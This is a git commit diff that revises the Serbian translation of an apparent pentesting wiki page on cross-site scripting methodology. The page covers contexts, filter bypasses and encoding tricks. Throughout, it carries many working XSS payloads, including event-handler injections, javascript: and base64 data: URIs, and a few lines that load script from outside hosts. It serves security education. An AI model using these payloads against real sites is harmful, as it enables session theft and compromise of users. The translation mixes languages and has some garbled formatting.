Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr

2025-10-10 18:36:50 +00:00 · 2025-09-29 15:01:00 +00:00 · 2025-09-29 15:01:00 +00:00 · ab4a584f82
commit ab4a584f82
parent df4b041c84
3 changed files with 342 additions and 198 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -725,6 +725,7 @@
  - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
  - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
  - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
  - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
  - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
 - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
 - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -4,65 +4,65 @@
 ## Metodologija
-1. Proveri da li se **bilo koja vrednost koju kontrolišeš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili se **koristi** u **JS** kodu.
+1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili **koristi** od strane **JS** koda.
-2. **Pronađi kontekst** u kome je reflektovano/korisćeno.
+2. **Pronađite kontekst** u kome se to reflektuje/koristi.
 3. Ako je **reflektovano**
-1. Proveri **koje simbole možeš koristiti** i u zavisnosti od toga, pripremi payload:
+1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
 1. U **raw HTML**:
-1. Možeš li kreirati nove HTML tagove?
+1. Možete li kreirati nove HTML tagove?
-2. Možeš li koristiti evente ili atribute koji podržavaju `javascript:` protocol?
+2. Možete li koristiti event-e ili atribute koji podržavaju `javascript:` protokol?
-3. Možeš li zaobići zaštite?
+3. Možete li zaobići zaštite?
-4. Da li se HTML sadržaj interpretira kroz neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), koji bi mogaoš zloupotrebiti kroz [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+4. Da li HTML sadržaj tumači neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), tada možete iskoristiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li iskoristiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Unutar **HTML taga**:
-1. Možeš li izaći u raw HTML kontekst?
+1. Možete li izaći u raw HTML kontekst?
-2. Možeš li kreirati nove evente/atribute koji izvršavaju JS kod?
+2. Možete li kreirati nove event-e/atribute za izvršavanje JS koda?
-3. Da li atribut u kome si zarobljen podržava izvršavanje JS?
+3. Da li atribut u kojem ste "zarobljeni" podržava izvršavanje JS-a?
-4. Možeš li zaobići zaštite?
+4. Možete li zaobići zaštite?
 3. Unutar **JavaScript koda**:
-1. Možeš li pobjeći iz `<script>` taga?
+1. Možete li izaći iz `<script>` taga?
-2. Možeš li pobjeći iz stringa i izvršiti drugačiji JS kod?
+2. Možete li prekinuti string i izvršiti drugi JS kod?
-3. Da li je tvoj input u template literal-ima \`\`?
+3. Da li je vaš input u template literals ``?
-4. Možeš li zaobići zaštite?
+4. Možete li zaobići zaštite?
-4. Javascript **funkcija** koja se **izvodi**
+4. Javascript **funkcija** koja se **izvršava**
-1. Možeš navesti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
+1. Možete navesti ime funkcije koja će se izvršiti. npr.: `?callback=alert(1)`
-4. Ako je **korisćeno**:
+4. Ako se **koristi**:
-1. Mogao bi iskoristiti **DOM XSS**, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj **kontrolisani input koristi od strane nekog sinka.**
+1. Možete iskoristiti **DOM XSS**, obratite pažnju kako je vaš input kontrolisan i da li se vaš **kontrolisani input koristi od strane nekog sink-a.**
-Kada radiš na kompleksnom XSS-u može ti biti interesantno da pogledaš:
+Kada radite na kompleksnom XSS-u, može vam biti korisno znati o:
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
-## Reflected values
+## Reflektovane vrednosti
-Da bi uspešno eksploatisao XSS, prva stvar koju treba da nađeš je **vrednost koju kontrolišeš i koja se reflektuje** na web stranici.
+Da biste uspešno iskoristili XSS, prvo morate pronaći **vrednost kojom upravljate koja se reflektuje** na web stranici.
- **Intermediately reflected**: Ako primetiš da se vrednost parametra ili čak path reflektuje na stranici, možeš iskoristiti **Reflected XSS**.
+- **Intermediately reflected**: Ako otkrijete da se vrednost parametra ili čak putanja reflektuje na web stranici, možete iskoristiti **Reflected XSS**.
- **Stored and reflected**: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kad pristupiš stranici, možeš iskoristiti **Stored XSS**.
+- **Stored and reflected**: Ako nađete vrednost kojom upravljate koja se čuva na serveru i reflektuje svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**.
- **Accessed via JS**: Ako se vrednost koju kontrolišeš pristupa pomoću JS-a, možeš iskoristiti **DOM XSS**.
+- **Accessed via JS**: Ako otkrijete da se vrednost kojom upravljate pristupa preko JS-a, možete iskoristiti **DOM XSS**.
 ## Konteksti
-Kada pokušavaš da iskoristiš XSS, prva stvar koju treba da znaš je **gde se tvoj input reflektuje**. U zavisnosti od konteksta, moći ćeš na različite načine izvršiti proizvoljni JS kod.
+Kada pokušavate da iskoristite XSS, prvo treba da znate **gde se vaš input reflektuje**. U zavisnosti od konteksta, bićete u mogućnosti da izvršite proizvoljni JS kod na različite načine.
 ### Raw HTML
-Ako se tvoj input **reflektuje u raw HTML-u** stranice, moraćeš da zloupotrebiš neki **HTML tag** da bi izvršio JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš koristiti.\
+Ako se vaš input **reflektuje u raw HTML-u** stranice, moraćete da iskoristite neki **HTML tag** da biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih HTML tagova koje možete koristiti.\
-Takođe, imaj na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
+Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
 ### Unutar atributa HTML taga
-Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
+Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:
-1. Da **izbaciš se iz atributa i iz taga** (tada ćeš biti u raw HTML-u) i kreiraš novi HTML tag za zloupotrebu: `"><img [...]`
+1. Da **pobegnete iz atributa i iz taga** (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
-2. Ako **možeš izaći iz atributa ali ne i iz taga** (`>` je enkodiran ili obrisan), u zavisnosti od taga možeš **kreirati event** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
+2. Ako **možete pobjeći iz atributa ali ne i iz taga** (`>` je enkodiran ili obrisan), u zavisnosti od taga možete **napraviti event** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
-3. Ako **ne možeš izaći iz atributa** (`"` je enkodirano ili obrisano), onda u zavisnosti od **kojeg atributa** se tvoja vrednost reflektuje i **da li kontrolišeš celu vrednost ili samo njen deo** biće ti moguće da ga zloupotrebiš. Na **primer**, ako kontrolišeš event kao `onclick=` moći ćeš da ga nateraš da izvrši proizvoljan kod kada se klikne. Drugi interesantan **primer** je atribut `href`, gde možeš koristiti `javascript:` protokol da izvršiš proizvoljan kod: **`href="javascript:alert(1)"`**
+3. Ako **ne možete pobjeći iz atributa** (`"` je enkodiran ili obrisan), onda u zavisnosti od **koji atribut** sadrži vaš input i **da li kontrolišete celu vrednost ili samo deo** bićete u mogućnosti da ga zloupotrebite. Na **primer**, ako kontrolišete event kao `onclick=` moći ćete da izvršite proizvoljan kod kada se klikne. Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
-4. Ako se tvoj input reflektuje unutar "**neeksploatabilnih tagova**" možeš pokušati trik sa **`accesskey`** da zloupotrebiš ranjivost (biće ti potrebna neka vrsta social engineering-a da ovo iskoristiš): **`" accesskey="x" onclick="alert(1)" x="`**
+4. Ako se vaš input reflektuje unutar "unexpoitable tags" možete probati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta social engineering-a za eksploataciju): **`" accesskey="x" onclick="alert(1)" x="`**
-Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:
+Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -70,15 +70,15 @@ Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
 ```
 ### Unutar JavaScript koda
-U tom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
+U ovom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
- Ako je reflektovano između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz tog konteksta. Ovo radi zato što **pregledač će prvo parsirati HTML tagove** a zatim sadržaj, te neće primetiti da je vaš ubrizgani `</script>` tag unutar HTML koda.
+- Ako se reflektuje između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše zato što će **browser prvo parsirati HTML tagove** i zatim sadržaj, zato neće primetiti da je vaš injektovani `</script>` tag unutar HTML koda.
- Ako je reflektovano **unutar JS stringa** i prethodni trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstrušete** JS kod (ako ima greške, neće biti izvršen):
+- Ako se reflektuje **unutar JS stringa** i poslednji trik ne radi biće potrebno da **izađete** iz stringa, **izvršite** vaš kod i **rekonstrušete** JS kod (ako ima bilo kakva greška, neće biti izvršeno:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
- Ako je reflektovano unutar template literals možete **ubaciti JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
+- Ako se reflektuje unutar template literals možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode enkodiranje** funkcioniše za pisanje **validnog javascript koda**:
+- **Unicode encode** radi da napišete **valid javascript code**:
 ```javascript
 alert(1)
 alert(1)
@ -86,7 +86,7 @@ alert(1)
 ```
 #### Javascript Hoisting
-Javascript Hoisting references the opportunity to **deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.**\
+Javascript Hoisting odnosi se na mogućnost da **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\
 **Pogledajte sledeću stranicu za više informacija:**
@ -96,19 +96,19 @@ js-hoisting.md
 ### Javascript Function
-Mnoge web stranice imaju endpoints koji **prihvataju kao parametar ime funkcije koju treba izvršiti**. Čest primer u divljini je nešto poput: `?callback=callbackFunc`.
+Nekoliko web stranica ima endpoints koji **accept as parameter the name of the function to execute**. Uobičajen primer koji se viđa u prirodi je nešto poput: `?callback=callbackFunc`.
-Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je **izmeniti vrednost parametra** (na primer u 'Vulnerable') i posmatrati konzolu za greške poput:
+Dobar način da utvrdite da li se nešto što korisnik direktno unese pokušava izvršiti je **modifying the param value** (na primer u 'Vulnerable') i praćenje konzole za greške kao:
 ![](<../../images/image (711).png>)
-Ako je ranjiv, mogli biste uspeti da **pokrenete alert** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validiraju sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
+Ako je ranjivo, mogli biste biti u mogućnosti da **trigger an alert** jednostavnim slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validate the content** tako da dozvoljavaju samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
-Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da **pristupite bilo kom elementu u DOM-u**:
+Međutim, čak i uz to ograničenje i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti te valid chars da **access any element in the DOM**:
 ![](<../../images/image (747).png>)
-Neke korisne funkcije za ovo su:
+Some useful functions for this:
 ```
 firstElementChild
 lastElementChild
@ -116,11 +116,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Takođe možete pokušati da direktno покренете **Javascript functions**: `obj.sales.delOrders`.
+Takođe možete pokušati direktno da **pokrenete Javascript funkcije**: `obj.sales.delOrders`.
-Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, **other pages in the same origin** će imati **more interesting DOM** za izvođenje više akcija.
+Međutim, obično su endpoint-i koji izvršavaju navedenu funkciju endpoint-i bez mnogo interesantnog DOM-a, **druge stranice u istom originu** će imati **zanimljiviji DOM** za izvođenje više akcija.
-Stoga, da biste **abuse this vulnerability in a different DOM**, razvijen je exploit za **Same Origin Method Execution (SOME)**:
+Stoga, da biste **zloupotrebili ovu ranjivost u drugom DOM-u** razvijen je exploit **Same Origin Method Execution (SOME)**:
 {{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
 ### DOM
-Postoji **JS code** koji nesigurno koristi neke **podatke kontrolisane od strane napadača** kao što je `location.href`. Napadač ovo može iskoristiti da izvrši proizvoljan JS код.
+Postoji **JS code** koji **na nesiguran način** koristi neke **podatke koje kontroliše napadač** poput `location.href`. Napadač može to zloupotrebiti za izvršavanje proizvoljnog JS koda.
 {{#ref}}
@ -138,8 +138,8 @@ dom-xss.md
 ### **Universal XSS**
-Ovakve vrste XSS mogu se naći **anywhere**. One ne zavise samo od exploitatovanja klijenta web aplikacije već od **any** **context**. Ovakve vrste **arbitrary JavaScript execution** mogu čak biti iskorišćene da dovedu do **RCE**, da **read** **arbitrary** **files** na klijentima i serverima, i još mnogo toga.\
+Ovakav tip XSS može se naći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije, već od **bilo kog** **konteksta**. Ovakvo **proizvoljno izvršavanje JavaScript-a** može čak biti zloupotrebljeno za dobijanje **RCE**, za **čitati** **proizvoljne** **fajlove** na klijentima i serverima, i više.\
-Neki **examples**:
+Neki **primeri**:
 {{#ref}}
@ -157,9 +157,9 @@ server-side-xss-dynamic-pdf.md
 ## Injecting inside raw HTML
-Kada je vaš unos reflektovan **inside the HTML page** ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` za kreiranje novih tagova: jednostavno pokušajte da **reflect** taj **char** i proverite da li je **HTML encoded** ili **deleted** ili da li je **reflected without changes**. **Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju**.\
+Kada je vaš input reflektovan **inside the HTML page** ili možete escape-ovati i injektovati HTML kod u tom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete iskoristiti `<` za kreiranje novih tagova: jednostavno pokušajte da **reflektujete** taj **char** i proverite da li je **HTML encoded** ili **obrisan**, ili je **reflektovan bez izmena**. **Samo u poslednjem slučaju bićete u mogućnosti da iskoristite ovaj slučaj**.\
-Za ove slučaje takođe **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md).\
+Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Napomena: HTML komentar se može zatvoriti koristeći `-->` ili `--!>`**_
+_**Napomena: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ 
 U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:
 ```html
@ -169,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force koje tags** možete kreirati.\
+Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force which tags** možete da kreirate.\
-Kada otkrijete koji su **tags dozvoljeni**, treba da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
+Kada ste **located which tags are allowed**, potrebno je da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
 ### Tags/Events brute-force
-Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije).
+Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tag ostao neotkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije).
 ### Custom tags
-Ako niste našli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod pomoću `onfocus` atributa. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:
+Ako niste pronašli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod sa atributom `onfocus`. U XSS requestu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se **focus on that object** i **execute** kod:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
-Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova:
+Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@ -234,31 +234,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Length bypass (mali XSS-ovi)
-> [!NOTE] > **Više tiny XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Više tiny XSS za različita okruženja** payload [**može se pronaći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr\
+Poslednji koristi 2 unicode karaktera koji se prošire na 5: telsr\
-Više ovakvih karaktera može se naći [ovde](https://www.unicode.org/charts/normalization/).\
+Više ovih karaktera možete pronaći [here](https://www.unicode.org/charts/normalization/).\
-Da proverite na koje se karaktere decomponuje pogledajte [ovde](https://www.compart.com/en/unicode/U+2121).
+Da proverite u koje se karaktere dekomponuje, proverite [here](https://www.compart.com/en/unicode/U+2121).
 ### Click XSS - Clickjacking
-Ako je za iskorišćavanje ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
+Ako je za eksploataciju ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
 ### Impossible - Dangling Markup
-Ako mislite da je **nemoguće napraviti HTML tag sa attribute koji izvršava JS kod**, treba da pogledate [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
+Ako mislite da je **nemoguće kreirati HTML tag sa atributom koji izvršava JS kod**, trebalo bi da proverite [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)jer možete **exploit** ranjivost **without** izvršavanja **JS** koda.
-## Injecting inside HTML tag
+## Injektovanje unutar HTML taga
 ### Inside the tag/escaping from attribute value
-Ako se nalazite **inside a HTML tag**, prva stvar koju možete pokušati je da **escape** iz taga i iskoristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) da izvršite **JS** kod.\
+Ako se nalazite **inside a HTML tag**, prva stvar koju možete pokušati je da **escape** iz taga i upotrebite neke od tehnika pomenutih u [previous section](#injecting-inside-raw-html) da izvršite JS kod.\
-Ako **ne možete escape-ovati iz taga**, možete kreirati nove attribute unutar taga kako biste pokušali da izvršite **JS** kod, na primer koristeći payload poput (_napomena: u ovom primeru double quotes služe za escape iz attribute, neće vam biti potrebni ako je vaš unos reflektovan direktno unutar taga_):
+Ako **cannot escape from the tag**, možete kreirati nove atribute unutar taga da pokušate izvršiti JS kod, na primer koristeći neki payload poput (_napomena: u ovom primeru double quotes se koriste da se escape-uje iz atributa, neće vam trebati ako je vaš input reflektovan direktno unutar taga_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,16 +273,16 @@ Ako **ne možete escape-ovati iz taga**, možete kreirati nove attribute unutar
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### Unutar atributa
+### Within the attribute
-Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkoduje ili briše), u zavisnosti od **koji atribut** odražava vašu vrednost **da li kontrolišete celu vrednost ili samo njen deo** moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.\
+Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkodira ili briše), u zavisnosti od **koji atribut** u kojem je vaša vrednost reflektovana i **da li kontrolišete celu vrednost ili samo njen deo** bićete u mogućnosti da to zloupotrebite. Na **primer**, ako kontrolišete event kao `onclick=` moći ćete da naterate izvršavanje proizvoljnog koda kada se klikne.\
-Drugi interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljni kod: **`href="javascript:alert(1)"`**
+Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`**
 **Bypass inside event using HTML encoding/URL encode**
-The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se **dekodiraju tokom runtime-a**. Dakle, nešto poput sledećeg će biti validno (payload je u boldu): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
-Note that **any kind of HTML encode is valid**:
+Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@ -299,11 +299,11 @@ Note that **any kind of HTML encode is valid**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Imajte na umu da će i URL encode raditi:**
+**Imajte na umu da će URL encode takođe raditi:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass unutar event-a koristeći Unicode enkodovanje**
+**Bypass unutar događaja koristeći Unicode enkodiranje**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -311,7 +311,7 @@ Note that **any kind of HTML encode is valid**:
 ```
 ### Specijalni protokoli unutar atributa
-Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
+Tu možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Mesta gde možete ubaciti ove protokole**
+**Mesta gde možete injektovati ove protokole**
-**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
+**Uopšteno** `javascript:` protokol može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img>` )
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Other obfuscation tricks**
+**Ostali obfuscation trikovi**
-_**U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi, jer se nalazite unutar atributa.**_
+_**U ovom slučaju HTML encoding i Unicode encoding trikovi iz prethodnog odeljka takođe važe jer se nalazite unutar atributa.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Štaviše, postoji još jedan **nice trick** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, biće URL decoded pre nego što se izvrši.** Dakle, ako treba da **escape** iz **string** koristeći **single quote** i vidite da **it's being URL encoded**, zapamtite da **it doesn't matter,** biće **interpreted** kao **single quote** tokom **execution** time.
+Štaviše, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, on će biti URL decoded pre nego što se izvrši.** Dakle, ako treba da **escape** iz **string** koristeći **single quote** i vidite da **it's being URL encoded**, zapamtite da **it doesn't matter,** biće **interpreted** kao **single quote** tokom **execution**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
+Imajte na umu da ako pokušate da **upotrebite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload** to **neće** **raditi**, ali možete **ih mešati unutar payload**.
 **Korišćenje Hex i Octal encode sa `javascript:`**
-Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (najmanje) da navedete **HTML tags to execute JS**:
+Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (barem) kako biste deklarisali **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@ -385,17 +385,16 @@ Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (naj
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Ako možete ubaciti bilo koji URL u proizvoljan **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, pogledajte **sledeću stranicu da biste iskoristili ovo ponašanje**:
+Ako možete ubaciti bilo koji URL u proizvoljni **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, proverite **sledeću stranicu da biste iskoristili ovo ponašanje**:
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
-### Zaobilaženje 'on' event handlers
+### on Event Handlers Bypass
